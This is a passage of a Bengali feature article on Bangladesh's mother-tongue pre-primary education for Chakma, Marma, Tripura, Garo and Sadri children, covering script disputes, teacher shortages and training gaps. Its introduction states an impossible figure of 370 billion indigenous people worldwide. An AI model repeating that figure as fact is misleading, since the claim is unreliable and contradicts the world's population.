০৯:৪৪ অপরাহ্ন, রবিবার, ০৮ নভেম্বর ২০২৬, ২৪ কার্তিক ১৪৩৩ বঙ্গাব্দ
ক্ষুদ্র নৃগোষ্ঠীর মাতৃভাষা রক্ষায় দীর্ঘদিনের আন্দোলনের প্রেক্ষিতে বর্তমান সরকার চাকমা, মারমা, ত্রিপুরা, গারো ও সাদরি—এই পাঁচ ক্ষুদ্র নৃগোষ্ঠীর প্রাক-প্রাথমিকের শিশুদের মাতৃভাষায় পাঠদানের কার্যক্রম শুরু করে ২০১৭ সালে।

ক্ষুদ্র নৃগোষ্ঠীর শিক্ষার্থীদের মাতৃভাষায় শিক্ষাদানের উদ্যোগ, বাস্তবতা ও বর্তমান অবস্থা

  • মাছুম বিল্লাহ
  • ০৮:২০:০৮ অপরাহ্ন, রবিবার, ১৭ সেপ্টেম্বর ২০২৩
  • ১৫২৫ বার পড়া হয়েছে

ক্ষুদ্র নৃগোষ্ঠীর ৫ টি ভাষায় পাঠ্যবই বিতরণ হলেও এসব ভাষা লিখতে ও পড়তে জানে এমন শিক্ষকের অভাবে সেগুলো পড়েই আছে। | ছবি: বিবিসি

ভূমিকা: ঢাকা বিশ্ববিদ্যালয়ের ভাষাবিজ্ঞান বিভাগের অধ্যাপক সৌরভ শিকদার1 বলেন, ২০১৯ সালের ১৮ডিসেম্বর জাতিসংঘের সাধারন পরিষদে ২০২২-২০৩২ সময়কালকে 'আন্তর্জাতিক আদিবাসী ভাষা দশক' পালনের ঘোষনা দেওয়া হয়। এর মূল লক্ষ্য ছিল ক্ষুদ্র জাতিগোষ্ঠীর প্রত্যক্ষ অংশগ্রহনের মাধ্যমে বিপন্ন ভাষাগুলোকে টিকিয়ে রাখা, তাদের সামাজিক-সাংস্কৃতিক জীবনের স্বাতন্ত্র্যকে সমুন্নত রাখা এবং জাতীয় আন্তর্জাতিক পর্যায়ে পারস্পরিক সহযোগিতার মাধ্যমে সবার সমান ভাষিক অধিকার নিশ্চিত করা। প্রতিবছর ৯ আগস্ট আন্তর্জাতিক অদিবাসী দিবস পালন করা হয়। ১৯৯৪ সালে জাতিসংঘের সাধারন পরিষদে বিশ্ব আদিবাসী দিবসটি পালনে ৪৯/২১৪ বিধিমালায় স্বীকৃতি পায়। আন্তর্জাতিক দিবসটি বিশ্বের ৯০ টি দেশের ৩৭০ বিলিয়ন আদিবাসীরা প্রতিবছর পালন করে থাকে। জাতিসংঘ অবশ্য ১৯৯৩ সালকে আদিবাসীবর্ষ হিসেবে ঘোষণা করেছিল। প্রতি বছর সারা বিশ্বের ন্যায় বাংলাদেশেও দিবসটি অত্যন্ত গুরুত্ব সহকারে পালিত হয়। তবে সংবিধান অনুযায়ী বাংলাদেশে আদিবাসী শব্দ ব্যবহার না করে ক্ষুদ্র জাতিসত্তা বা নৃগোষ্ঠী শব্দ ব্যবহারের নির্দেশনা দিয়ছে তথ্য ও সম্প্রচার মন্ত্রণালয়। বিশ্বের প্রতিটি দেশেই রয়েছে ক্ষুদ্র নৃগোষ্ঠীর লোক। একটি দেশের উন্নয়নে তাদের অবদান ও অর্জনকে স্বীকৃতি দিতেই জাতিসংঘ ৯ আগস্টকে আন্তর্জাতিক আদিবাসী দিবস হিসেব ঘোষণা করেছে। ২০০৭ সালে জাতিসংঘ সাধারন পরিষদের ৬১তম অধিবেশনে আদিবাসী জনগোষ্ঠীর অধিকার নিয়ে একটি ঘোষণাপত্র অনুমোদিত হয় সেখানে আদিবাসীদের ১২ টি ক্ষেত্রে স্বীকৃতি দেওয়া হয়। বিশেষ করে ভূমি সংক্রান্ত অধিকারগুলোই ছিল মুখ্য। বাংলাদেশ সরকার এসব অধিকারের প্রতি পূর্ণ শ্রদ্ধা ও সমর্থন তো করেছেই, পাশাপাশি ক্ষুদ্র-নৃগোষ্ঠীর লোকেরা যাতে নিজেদের মাতৃভাষায় প্রাথমিক পড়াশুনা করতে পারে সেই জন্য একটি দৃষ্টান্তমূলক পদক্ষেপ গ্রহন ও বাস্তবায়ন করে চলছে। ক্ষুদ্র নৃ-গোষ্ঠীর জন্য শিক্ষাক্ষেত্রে বাংলাদেশ সরকার যে দৃষ্টান্তমূলক পদক্ষেপ গ্রহন করেছে যার আলোচনাই এই প্রবন্ধের মূখ্য বিষয়। 

নিজস্ব ভাষায় পড়ার সুযোগ পেলে শিক্ষার্থীরা উৎফুল্ল হয়ে ওঠে কারন তারা এটা খুব ভালো করে আয়ত্ত করতে পারে। এটি মানব শিশুর একটি সহজাত প্রবৃত্তি। ক্ষুদ্র নৃগোষ্ঠীর মাতৃভাষা রক্ষায় দীর্ঘদিনের আন্দোলনের প্রেক্ষিতে বর্তমান সরকার চাকমা, মারমা, ত্রিপুরা, গারো ও সাদরি-এই পাঁচ ক্ষুদ্র নৃগোষ্ঠীর প্রাক-প্রাথমিকের শিশুদের মাতৃভাষায় পাঠদানের কার্যক্রম শুরু করে ২০১৭ সালে। সরকারি পরিকল্পনা অনুযায়ী প্রাক-প্রাথমিক থেকে দ্বিতীয় শ্রেণি পর্যন্ত নিজেদের ভাষায় পড়াশোন করবে ক্ষুদ্র নৃগোষ্ঠীর শিক্ষার্থীরা। তৃতীয় শ্রেণি থেকে তাদেরকে বাংলা শেখানো হবে। শিশুদের আনন্দের সঙ্গে পাঠদানের জন্য বাংলা শিখন-শেখানোর উপকরণের আদলে প্রণয়ন করা হয় ৮ ধরনের শিখণ-শেখানোর উপকরণ। এই উপকরণগুলোর মধ্যে অন্তর্ভূক্ত রয়েছে: মাতৃভাষার বই—ছড়ায় ছড়ায় বর্ণ শেখা; বর্ণ লেখার অনুশীলনী খাতা—এসো লিখতে শিখি, বর্ণ ও সংখ্যা ফ্ল্যাশ কার্ড, ফ্লিপ চার্ট, ১০ টি গল্প বইয়ের প্যাকেজ, শিক্ষক নির্দেশিকা ইত্যাদি। স্ব স্ব নৃগোষ্ঠীর সাহিত্য, সংষ্কৃতি, ঐতিহ্যের উপাদান নিয়ে ছড়া, কবিতা, গল্প সংযোজন করা হয়েছে উপকরণগুলোতে। 

বইয়ে ছবির মাধ্যমে বর্ণমালা শেখানো, গণনা শেখার ধারনা, সাধারন জ্ঞান (চিহ্নের মাধ্যমে হাসাপাতালসহ বিভিন্ন প্রতিষ্ঠান চেনানো), পারিপার্শ্বিক পরিবেশ ও পরিস্থিতি যুক্ত করা হয়েছে। উপকরণগুলোর অধিকাংশই নিজ নিজ মাতৃভাষায় রচিত। শুধু শিক্ষক সহায়িকার নির্দেশনাগুলোতে বাংলা ব্যবহার করা হয়েছে। উপকরণগুলোর বিষয়বস্তুগুলোর মধ্যে রাষ্ট্রীয় বিষয়বস্ত হুবহু রেখে বাংলার সাধারন বই থেকে অনুবাদ করা হয়েছে; যেমন—বঙ্গবন্ধু সংক্রান্ত লেখা, মুক্তিযুদ্ধ বিষয়ক গল্প ও নিবন্ধ, হযরত মুহম্মদ (স.)-এর জীবনী ইত্যাদি। ১০টি গল্পের বইয়ের প্যাকেজের মধ্যে চারটি বই বাংলা থেকে অনুবাদ করা হয়েছে, বাকি ছয়টি যার যার সমাজ জীবনে প্রচলিত শিক্ষামূলক গল্প থেকে সংগ্রহ করা হয়েছে।

উদ্যোগের গোড়ার কথা

১৯৯৭ সালের পার্বত্য চুক্তিতে নিজ নিজ ভাষায় শিক্ষার কথা বলা হয়েছিল। তাই ২০১৭ সাল থেকে সরকার পার্বত্য চট্টগ্রামের চাকমা, মারমা, ও ত্রিপুরা সম্প্রদায়ের শিশুদের জন্য মাতৃভাষার পাঠ্যপুস্তক চালু করে। শুরুতে একটি বেসরকারি উন্নয়ন সংস্থা থেকে ৫০জন প্রশিক্ষিত শিক্ষককে রাঙামাটির বিভিন্ন বিদ্যালয়ে মাতৃভাষায় পাঠদানের অনুমোদন দেয় প্রশাসন। তবে আজ পর্যন্ত মেলেনি বেতনভাতা। প্রশিক্ষিত শিক্ষকের অভাবে ব্যাহত হচ্ছে পাঠদান ও জাতীয় শিক্ষানীতি ২০১০-এ ক্ষুদ্র নৃগোষ্ঠীর শিশুদের মাতৃভাষা শিক্ষার অধিকারের বিষয়টি রাষ্ট্রীয়ভাবে স্বীকৃতির পর ২০১২ সালে চাকমা, মারমা, সাঁওতাল, মান্দি, ত্রিপুরা ও ওঁরাও ক্ষুদ্র নৃগোষ্ঠীর মাতৃভাষায় পাঠ্যপুস্তক প্রণয়নের একটি উদ্যোগ নেওয়া হয় সরকারীভাবে। চাকমাদের জন্য চাঙমা বর্ণমালা, মারমাদেরজন্য মারমা, ত্রিপুরা ও মান্দিদের জন্য পরিবর্তিত রোমান এবং মুন্ডা-ওঁরাওসহ সাদ্রীভাষী ক্ষুদ্র নৃগোষ্ঠীর জন্য বাংলা হরফ ব্যবহারের সিদ্ধান্ত হয়। পার্বত্য জেলা বান্দরবানের মারমা, ম্রাে, ত্রিপুরা, বম, তংচঙ্গা, চাকমা, খেয়াং, খুমি, চাক, পাংখো এবং লুসাই—এই ১১টি জাতিসত্তা ছাড়াও রাখাইনসহ আরো কিছু জনজাতি বসবাস করে। এদের কারোরই জনসংখ্যা ২০০-এর নীচে নয়। আলীকদম উপজেলায় রেংমিতচা নামে আরো একটি জনজাতির পরিচায় পাওয়া গেলেও রেংমিতচা কথ্য ভাষায় (লিখিত ভাষা রূপ নেই) কথা বলতে পারেন এমন লোকের সংখ্যা মাত্র সাতজন। জনসংখ্যা অত্যন্ত কম হওয়ায় এ ভাষাটি হারিয়ে যেতে বসেছে। মং নু চিং জানান, বান্দরবানে বসবাসকারী ১১ টি ক্ষুদ্র নৃগোষ্ঠীর প্রায় সবারই নিজস্ব ভাষা ও বর্ণমালা আছে। কিন্তু রেংমিতচা ভাষার স্বীকৃত কোনো কথ্য রূপ কিংবা লিখিত বর্ণমালা নেই। বিভিন্ন সেমিনার, কর্মশালা ও গবেষণা চালিযে ১১ টি জনজাতির ভাষা, সংষ্কৃতি ও বর্ণমালার সন্ধান পাওয়া যায়। তাদের মধ্যে শুধু খেয়াং জনগোষ্ঠী ছাড়া বাকী ১০ টি জনগোষ্ঠীর স্বীকৃত বর্ণমালা রয়েছে। খেয়াংদের মধ্যে কর্ণফুলী নদীর ওপারে (রাঙামাটির অংশ) থাকা খ্রিষ্ট ধর্মাবলম্বী অংশ রোমান হরফ ব্যবহার করে সৃষ্ট ‘খিয়াং বর্ণমালা’ ব্যবহারের পক্ষে। অন্যদিকে কর্ণফুলী নদীর এপারে (বান্দরবানের অংশ) বসবাসকারী খেয়াংরা নিজেদের উদ্ভাবিত’ খেয়াং বর্ণমালা ব্যবহারের পক্ষে। 

শিক্ষানীতির আলোকে সরকার সিদ্ধান্ত নিয়েছিল ২০১৪ সালের জানুয়ারি থেকে চাকমা, মারমা, ত্রিপুরা, গারো ও সাদরি—এই পাঁচটি ভাষায় প্রাক-প্রাথমিক শিক্ষা চালু করবে। কিন্তু সেটি চূড়ান্ত করতে অনেক সময় লেগে গিয়েছে। জাতীয় শিক্ষাক্রম ও পাঠ্যপুস্তক বোর্ড (এনসিটিবি)-র2 একজন শিক্ষাক্রম বিশেষজ্ঞ বলেন, জাতীয় শিক্ষানীতিতে মাতৃভাষায় শিক্ষা দেওয়ার কথা বলা হয়েছে। কিন্তু শিক্ষানীতি যখন অনুমোদিত হয়, তখন শিক্ষাক্রম সংশোধনের কাজ শুরু হয়ে যায়। এ জন্য তখন সিদ্ধান্ত হয়, শিক্ষাক্রম সংশোধন হয়ে গেলে সে অনুযায়ী ক্ষুদ্র নৃগোষ্ঠীর শিশুদের মাতৃভাষায় বই দেওয়া হবে। কিন্তু শিক্ষাক্রম তৈরির পর এ ধরনের বই লেখার মতো ভালো লেখক পাওয়া যাচ্ছিল না। তা ছাড়া লিপি একটা বড়ো সংকট হয়ে দেখা দেয়। চাকমা ও মারমাদের মৌখিক ও লিখিত উভয় রূপ থাকলেও ত্রিপুরা, গারো ও সাদরি নৃগোষ্ঠীর ভাষার নিজস্ব লিপি নেই। কোন লিপিতে তাদের ভাষার পাঠ্যবই লেখা হবে, এ নিয়ে মতবিরোধ দেখা দেয়। এসব ব্যাপারে সিদ্ধান্ত নিতে বেশ সময় লেগে যায়। সাঁওতালদের নিজস্ব লিপি না থাকায় পাঠ্যপুস্তক প্রণয়নের ক্ষেত্রে কোন লিপি গ্রহন করা হবে, এ নিয়ে দ্বিধাবিভক্তি দেখা দেয়। একটি পক্ষ বাংলা লিপি গ্রহনের পক্ষপাতী হলেও আরেকটি পক্ষ রোমান হরফ নেওয়ার পক্ষে অবস্থান নেয়। এ বিরোধ নিষ্পত্তি না হওয়ায় সাঁওতাল ভাষার পাঠ্যপুস্তক প্রথমবার বের করা সম্ভব হয়নি। এনসিটিবির সদস্য (প্রাথমিক শিক্ষাক্রম) অধ্যাপক ড. এ. কে. এম. রিয়াজুল হাসান বলেন, ”আমরা ধারাবাহিকভাবে অগ্রসর হচ্ছি। আমাদের মোট ১৯ থেকে ২০টি ক্ষুদ্র নৃগোষ্ঠীর মাতৃভাষায় পাঠ্যবই প্রণয়নের পরিকল্পনা রয়েছে। কিন্তু অনেকেই এসব ভাষা বলতে পারে কিন্তু লিখতে পারেনা। ফলে আমরা সঠিক বর্ণ খুঁজে পাচ্ছিনা। এ ব্যাপারে আন্তর্জাতিক মাতৃভাষা ইনস্টিটিউটের সহায়তাও নিচ্ছি। 

ম্রাে জনগোষ্ঠীর মেনলে ম্রাে নামের এক যুবক একটি বর্ণমালা উদ্ভাবন করে এটিকে ‘ক্রামা বর্ণমালা’ নাম দেন। মেনলে ম্রাে একই সঙ্গে ক্রামা নামের একটি ধর্ম প্রবর্তন করেন। তিনি বলেন, “ম্রােদের মধ্যে শতভাগ ক্রামা ধর্ম গ্রহন না করলেও সবাই ‘ক্রামা বর্ণমালা’ ব্যবহারের পক্ষে থাকায় বান্দরবান কেএসআই তাদের প্রশিক্ষণ কর্মসূচিতে ‘ক্রামা বর্ণমালা’ ব্যবহার করছে। খেয়াংরাও এ বিষয়ে সর্বস্মমত সিদ্ধান্ত দিলে আমরা স্বীকৃত বর্ণমালা নিযে কাজ করতে পারব।” নানা চড়াই-উতরাই পেরিয়ে অবশেষে ২০১৭ সাল থেকে মাতৃভাষায় পড়ার সুযোগ পাচ্ছে। এই নৃগোষ্ঠীগুলো হলো চাকমা, মারমা, ত্রিপুরা (ককবরক), গারো ও ওঁরাও (সাদরি)। এই পাঁচ জাতিগোষ্ঠীর জনসংখ্যা ১০ লাখের বেশি। এর মধ্যে চাকমা ও মারমা ভাষার বইগুলো তাদের নিজস্ব লিপিতে লেখা। কিন্তু বাকি তিনটি নৃগোষ্ঠীর বইগুলো লেখা হচ্ছে কোনোটি বাংলা লিপিতে, কোনটি রোমান হরফে। এ বিষয়ে ঢাকা বিশ্ববিদ্যালয়ের ভাষাবিজ্ঞান বিভাগের অধ্যাপক সৌরভ সিকদার বলেন, “এটার জন্য আমরা অনেক দিন ধরে অপেক্ষায় ছিলাম। এটা হলে খুবই ভালো হবে। তবে শুধু বই হলেই মাতৃভাষায় শিক্ষা হয়ে যাবে এমনটা নয়। এখনো শিক্ষক প্রশিক্ষণ হয়নি। সেটা না হওয়া পর্যন্ত এটা বাস্তবায়ন কঠিন হয়ে যাবে।” এনসিটিবি জানায় চাকমা ভাষার বইয়ের চিত্রগুলো করার কাজে যুক্ত ছিলেন শিল্পী কনকচাঁপা চাকমা। মারমা ভাষার বই লেখার কাজ সমন্বয় ও সম্পাদনা কমিটির প্রধান খাগড়াছড়ির মহালছড়ির পরিবার পরিকল্পনা বিভাগের উপসহকারী কমিউনিটি মেডিকেল কর্মকর্তা অংক্যজাই মারমা। তিনি বলেন, প্রাক-প্রাথমিকের জন্য জাতীয়ভাবে প্রণীত বইয়ের আদলেই এসব বইয়ে পাণ্ডুলিপি তৈরি করা হয়েছে। তবে বর্ণভিত্তিক পরিচয়গুলো দেওয়া হয়েছে নিজস্ব সংস্কৃর্তি। এনসিটিবির একাধিক শিক্ষা বিশেষজ্ঞ বলেন, শিশুকে শিক্ষার জন্য প্রস্তত করতে প্রাক-প্রাথমিক পর্যায়ে মাতৃভাষায় শিক্ষা দেওয়া জরুরী। এরপর সে ধীরে ধীরে মাতৃভাষার সঙ্গে অন্য ভাষায় শিক্ষা নেবে। এ ক্ষেত্রে অন্তর্জাতিকভাবে স্বীকৃত সময় সাত বছর। এই সময়টাকে বলে “ব্রিজিং পিরিয়ড”। জাতীয় শিক্ষানীতিতেও শিশুদের মাতৃভাষায় শিক্ষা দেওয়ার কথা বলা হয়েছে।

একটি শিশু স্কুলে গিয়ে অন্য ভাষায় পড়ালেখা করলে সে তার আত্মপরিচয় খুঁজে পায়না। নিজস্ব ভাষায় শিক্ষার ব্যবস্থা না থাকায় বিদ্যালয় থেকে আদিবাসী শিশুদের ঝরে পড়ার হার অনেক বেশি। এসব শিশুদের শিক্ষার জন্য তাদের আগ্রহ ও আস্থার জায়গাটুকু সৃষ্টি করতে হবে। এজন্য দরকার নিজ নিজ মাতৃভাষায় শিক্ষাদান। বান্দরবান জেলার বড়ইতলী নামে একটি মারমা গ্রামের একটি প্রাথমিক বিদ্যালয়ের প্রধান শিক্ষক বলেন, “বিদ্যালয়ে ৪০-৫০জন শিক্ষার্থী আছে। তাদেরকে স্কুল ছুটির পর ৩০ মিনিট করে সপ্তাহে তিনদিন পড়াই। কারণ আমি ছাড়া অন্য কোনো শিক্ষক এই ভাষা পারেন না।” এ বছর (২০২৩) জাতীয় শিক্ষাক্রম ও পাঠ্যপুস্তক বোর্ড প্রায় পাঁচ ক্ষুদ্র নৃগোষ্ঠীর ৯৭ হাজার ৫৯৪ জন শিক্ষার্থীর মাঝে দুই লাখ ৩০ হাজার ১৩০ টি বই বিতরণ করেছে। এই বই পড়ানোর দায়িত্বে থাকা অধিকাংশ শিক্ষকই এসব ভাষায় লিখতে-পড়তে জানেনা, শুধু কথা বলতে পারেন। গত তিন বছরে তিন পার্বত্য জেলাগুলোতে কর্মরত চার হাজার ২০৪জনের মধ্যে কেবল ৩৮.৬০ শতাংশ শিক্ষক প্রশিক্ষণ কার্যক্রমে অংশ নেন। ক্ষুদ্র নৃগোষ্ঠীর ওই শিক্ষকদের তাদের নিজেদের ভাষার বর্ণমালার সঙ্গে পরিচয় করিয়ে দেওয়ার উদ্দেশ্যে খাগড়াছড়ি, রাঙামাটি ও বান্দরবান জেলা পরিষদ ১৪ দিনের প্রশিক্ষণের আয়োজন করে। তবে, কেউ কেউ মন্তব্য করেছেন যে, এই প্রশিক্ষণে বর্ণপরিচয়ের বেশি কিছু শেখানো হয়না।

ঐতিহ্যবাহী/চিরাচরিত সংকট

দেশে ক্ষুদ্র নৃগোষ্ঠী রয়েছে প্রায় ৫০ টি। এদের অনেকের নিজস্ব ভাষার লিপি ও বর্ণমালা রয়েছে। তবে শিক্ষা চর্চার সুযোগ না থাকায় এসব ভাষার বেশিরভাগই হারিয়ে যাচ্ছে। পার্বত্য চট্টগ্রামের তিন জেলার বাইরে সবচেয়ে বেশি ক্ষুদ্র নৃগোষ্ঠীর বাস সিলেট অঞ্চলে। এই বিভাগে প্রায় ৩৭ টি ক্ষুদ্র জাতি-গোষ্ঠী রয়েছে। এর মধ্যে চা বাগানেই রয়েছে ২৫-২৬টি জনগোষ্ঠী। তবে সিলেটের ৩৭ জনগোষ্ঠীর মধ্যে এখন পর্যন্ত দু-তিনটি ছাড়া আর কারোরই সরকারিভাবে মাতৃভাষায় শিক্ষালাভের সুযোগ মেলেনি। মণিপুরী ল্যাংগুয়েজ সেন্টার নামে কমলগঞ্জে মণিপুরী ভাষা শিক্ষার তিনটি প্রতিষ্ঠান পরিচালনা করছে উন্নয়ন সহযোগী সংস্থা ‘এথনিক কমিউনিটি ডেভেলপমেন্ট অর্গানাইজেশন (একডো)’3। প্রতিষ্ঠানটির পরিচালক বলেন, জাতীয় শিক্ষানীতিতে থাকলেও সরকারিভাবে বেশিরভাগ নৃগোষ্ঠীর ভাষা শিক্ষার কোনো ব্যবস্থা নেই। ২০১৫সাল আমরা তিনটি স্কুল পরিচালনা করছি। আমরা নিজেরাই বই ছাপাই। বইপুস্তক তৈরির জন্য দক্ষ মানুষ পাওয়া যায়না। মণিপুরী ছাড়া এখানকার অন্য অনেক নৃগোষ্ঠীর ভাষার বর্ণমালাও নেই। শিক্ষকের অভাব তো আছেই। 

সাংগঠনিক উদ্যোগে প্রধান তিন ক্ষুদ্র নৃগোষ্ঠী মারমা, চাকমা ও ত্রিপুরা শিশুদের নিজস্ব মাতৃভাষার বর্ণমালায় কেয়াং বা মন্দিরভিত্তিক প্রাক-প্রাথমিক শিক্ষাদান কার্যক্রম পরিচালিত হচ্ছে তিন পার্বত্য জেলায়। পার্বত্য চট্টগ্রাম, সিলেট, ময়মনসিংহসহ কয়েকটি অঞ্চলে বাস করেন অন্তত ৩০ লাখ ক্ষুদ্র নৃগোষ্ঠীর মানুষ। আন্তর্জাতিক মাতৃভাষা ইন্সটিটিউটের সমীক্ষা অনুযায়ী বাংলাদেশে ৪১ টি ভাষা রয়েছে, তার মধ্যে ৩৪ টি ক্ষুদ্র জাতিগোষ্ঠীর ভাষা। এর মধ্যে হাতেগোনা কযেকটির লিখিতরূপ আছে। কিন্তু সেই বর্ণমালায় শিক্ষার সুযোগ তেমন না থাকায় তাদের নিজস্ব ভাষাগুলো মৌখিকভাবে চর্চা হলেও এর লিখিতরূপ হারাতে বসেছে। এসব সম্প্রদায়ের একটি বড়ো অংশই নিজেদের এই বর্ণমালার সাথে পরিচিত নয়। কয়েকবার সেমিনার করেও এ বিষয়ে সর্বসম্মত বর্ণমালার রূপ পাওয়া যায়নি। এর ফলে অন্য ১০টি ভাষায় লিখিত ও কথ্য রূপ নিয়ে কাজ করতে পারলেও কেএসআই খেয়াংদের নিয়ে ভাষা শিক্ষা প্রশিক্ষনের কোনো কর্মসূচি হাতে নেওয়া যায়নি। শিক্ষক সংকটের কারণ অনুসন্ধান করতে গিয়ে জানা গেল ক্ষুদ্র নৃগোষ্ঠীর যারা শিক্ষিত ব্যক্তি, তাদের অধিকাংশই নিজ ভাষায় কথা বলতে পারলেও পড়তে বা লিখতে পারেন না, যেমনটা খাগড়াছড়ির মধু ত্রিপুরার ক্ষেত্রে ঘটেছে। ত্রিপুরা নৃগোষ্ঠীর এই সদস্য জানান, প্রাতিষ্ঠানিক ও দাপ্তরিক কাজে ককবরক ভাষার ব্যবহার না থাকায় এর বর্ণের সাথে তার পরিবারের পরিচয় নেই। ‘‘পড়ালেখা তো করেছি বাংলা আর ইংরেজিতে। সে কারণে কথাবার্তা বলার বাইরে আমাদের ভাষার ব্যবহার নেই। ফলে লেখা বা পড়াটা হয়নি। আর আমাদের সময় তো এটার লিখিত রূপ ছিলনা। এখন সরকার এসে করল, আগে হলে আমরা পড়তে পারতাম নিজের ভাষায়। বাচ্চারা ঢাকায় বড়ো হচ্ছে, এখানেই পড়ছে। তাদের সামনে তো সুযোগ আরও কম।” মধু ত্রিপুরার দুই মেয়ে ঢাকার ভিাকরুন্নেসা স্কুলে পড়ে। সে হিসেবে তাদের নিজেদের ভাষায় পড়ার সুযোগ নেই। তবে তিনি মনে করেন, “এই উদ্যোগ যথাযথাভাবে বাস্তবায়ন হলে ক্ষুদ্র নৃগোষ্ঠীদের ভাষার সমৃদ্ধিতে তা বড়ো ভূমিকা রাখবে। এলাকার বাচ্চারা এখন নিজের ভাষায় পড়তে পারছে, ভাষার চর্চা করতে পারছে, এটা একটা ভালো উদ্যোগ। কিন্তু অন্য যে ভাষাগুলো আছে, সেগুলোর বইও বের করা উচিত।”

প্রশাসনিক সংকট

ক্ষুদ্র নৃগোষ্ঠীর শিক্ষার্থীদের মাতৃভাষায় শিক্ষাদান শিক্ষকদের কাছে মোটামুটিভাবে এক ধরনের চ্যালেঞ্জ কারণ অনেক শিক্ষকই নিজ নিজ ভাষায় লিখতে ও পড়তে জানেন  না। তারা তাদের ভাষায় কথা বলতে পারেন কিন্তু লিখতে ও পড়তে পারেন না, তাদের লেখাপড়া পার হয়েছে বাংলা ভাষা শিখে। সে জন্য তাদের নিজেদেরও নিজ নিজ ভাষায় পড়া ও লেখার জন্য প্রশিক্ষণ নিতে হয়। অনেক স্কুলে আবার রয়েছে শিক্ষার্থীদের সঙ্গে একই মাতৃভাষা ব্যবহারকারী শিক্ষকের সংখ্যার স্বল্পতা। কোনো কোনো বিদ্যালয়ে দুইজনের বেশি শিক্ষক নেই, যারা মাতৃভাষায় শেখাতে পারেন। অথচ শিক্ষার্থী আছে একশর’ও বেশি। শিক্ষকদের মতে মারমা ভাষায় পড়ালে শিশুরা বুঝতে পারে তাড়াতাড়ি; যেহেতু তাদের নিজস্ব ভাষা। 

বিশেষজ্ঞরা জানান, প্রাথমিক স্তরে মাতৃভাষায় শিক্ষা কার্যক্রম চালু কেবল বই বিতরণের মধ্যেই সীমাবদ্ধ থাকা উচিত নয়। শিক্ষকদের উপযুক্ত প্রশিক্ষন এবং পাঠদান সম্পর্কে সুস্পষ্ট নির্দেশনা দেওয়া প্রয়োজন কারন একই ক্লাসে বহুভাষায় কথা বলা শিক্ষার্থীদের পাঠদান পদ্ধতি প্রচলিত শিক্ষা পদ্ধতির চেয়ে আলাদা। বাংলাদেশ আদিবাসী ফোরামের সাধারণ সম্পাদক সঞ্জীব দ্রুং বলেন, “জাতিসংঘের সনদ অনুযায়ী বিশ্বের সব সম্প্রদায়ের মাতৃভাষায় পড়ালেখা করার অধিকার আছে। বাংলাদেশ জাতিসংঘ সনদে স্বাক্ষরকারী দেশ, জাতিসংঘের সদস্য। এই স্কুলগুলোতে বিশেষ প্রক্রিয়ায় শিক্ষক নিয়োগ দেওয়া উচিত বলে তিনি মনে করেন।” শিশুরা জন্মের পর মায়ের কাছ থেকে যে ভাষা শোনে সেই ভাষায়ই তারা স্বপ্ন বোনে। কিন্তু এই ভাষাটি যদি সে শিখতে না পারে, তবে তার স্বপ্ন বাস্তবায়নের পথ বাঁধাগ্রস্ত হয়। সে অন্ধকারে হাতড়াতে থাকে। তবে বর্তমান সরকার বিষয়টির গুরুত্ব উপলব্ধি করে প্রথমবারের মতো ক্ষুদ্র নৃগোষ্ঠীর শিক্ষার্থীদের জন্য তৃতীয় শ্রেণি পর্যন্ত তাদের নিজস্ব ভাষায় শেখার ব্যবস্থা করেছে। এটি অবশ্যই ধন্যবাদ পাওয়ার যোগ্য। এখন নির্দিষ্ট কোনো নৃগোষ্ঠীর শিক্ষকগন যদি তাদের নিজস্ব মাতৃভাষায় লেখাতে ও পড়াতে না পারেন সেটি একটি গভীর সমস্যা। এখানে সরকারের পক্ষে হঠাৎ করে বিপ্লব ঘটানো সম্ভব নয়। আর একটি হচ্ছে ৫০ টি ক্ষুদ্র নৃগোষ্ঠীর মধ্যে সবার ভাষায় বই তৈরি করাও কতটা বাস্তবসম্মত সেটিও আমাদের ভেবে দেখা প্রয়োজন। আমরা ইতোমধ্যে জেনেছি যে, সব নৃগোষ্ঠীর নিজস্ব বর্ণমালা নেই। যে পাঁচটি ভাষায় বই তৈরি করা হয়েছে, ঐ ভাষার লোকসংখ্যাই বেশি। এটিতো একটি যুক্তিসঙ্গত সিদ্ধান্ত। তবে, এই মহৎ উদ্দেশ্য বাস্তবায়নে সংশ্লিষ্ট সবাইকে এগিয়ে আসতে হবে, সহযোগিতা করতে হবে। 

শিক্ষক স্বল্পতার কারণে এক রুমে দুই শ্রেণির শিক্ষার্থী বসানো হয়। এক শ্রেণির শিক্ষার্থীদের পড়ালে অন্য এক শ্রেণির শিক্ষার্থীরা হা করে বসে থাকে। অথাৎ যদি প্রথম ও দ্বিতীয় শ্রেণির শিক্ষার্থীদের এক রুমে একরুমে বসানো হয় এবং সেখানে যদি দ্বিতীয় শ্রেণির বই পড়ানো হয় তাহলে প্রথম শ্রেণির শিক্ষার্থীরা বসে থাকে। শিক্ষকদের নিবিড় প্রশিক্ষন প্রয়োজন, সেটিতেও ঘাটতি রয়েছে। স্থানীয়ভাবে জাবারাং4 যে প্রশিক্ষণ দেয় তাতে পুরো উদ্দেশ্য সফল হয়না। শিক্ষকরা বলেন, তাদের দুই থেকে পাঁচদিনের প্রশিক্ষন হয় যা যথেষ্ট নয়। তারা প্রশিক্ষনে বর্ণগুলো চিনে আগে থেকে, কিন্তু শুধু বর্ণ চিনলে তো হবেনা। মাতৃভাষা হলেও আয়ত্ত করতে আমাদের সময় লাগে। তাদের ’কার’ চিহ্নগুলো চিনতে হয়। ওখানে আবার বানান করতে হয়। আর একটি সমস্যা হচ্ছে, এক বিদ্যালয়ে শিক্ষার্থীরা হচ্ছে চাকমা জন জনগোষ্ঠীর আর শিক্ষক হচ্ছেন ত্রিপুরা জনগোষ্ঠীর। চাকমা শিক্ষকরা মারমা ভাষা জানে না। তাই তাদের পাঠ্যপুস্তকের বিষয়বস্তু উদাহরন দিয়ে বুঝাতে পারেন না। তারা শুনে শুনে ভাষা আয়ত্ত করেন। শিক্ষকদের সঙ্গে কথা বলে জানা গেছে যে, যখন কোনো শিক্ষককে বদলী করা হয় তখন খতিয়ে দেখা হয় না যে তিনি কোন জনগোষ্ঠীর এবং যেখানে বদলি করা হচ্ছে সেখানে কোন ভাষার শিক্ষার্থীরা আছে। যার কারনে শিক্ষক সংকট আরো তীব্র হয়েছে। এই বিষয়টি মাথায় রেখে যদি শিক্ষক বদলি করা হয় তাহলে শিক্ষার্থী ও শিক্ষক দুু’পক্ষই উপকৃত হবে। শুধু সরকারি প্রাথমিক বিদ্যালয়ে নয়, সংকট আছে বেসরকারি প্রাথমিক বিদ্যালয়গুলোতেও। অনেক বেসরকারি প্রাইমারিতে এক ক্লাসে দুই ভাষার মিশ্র শিক্ষার্থীরা পড়ে। মাতৃভাষার 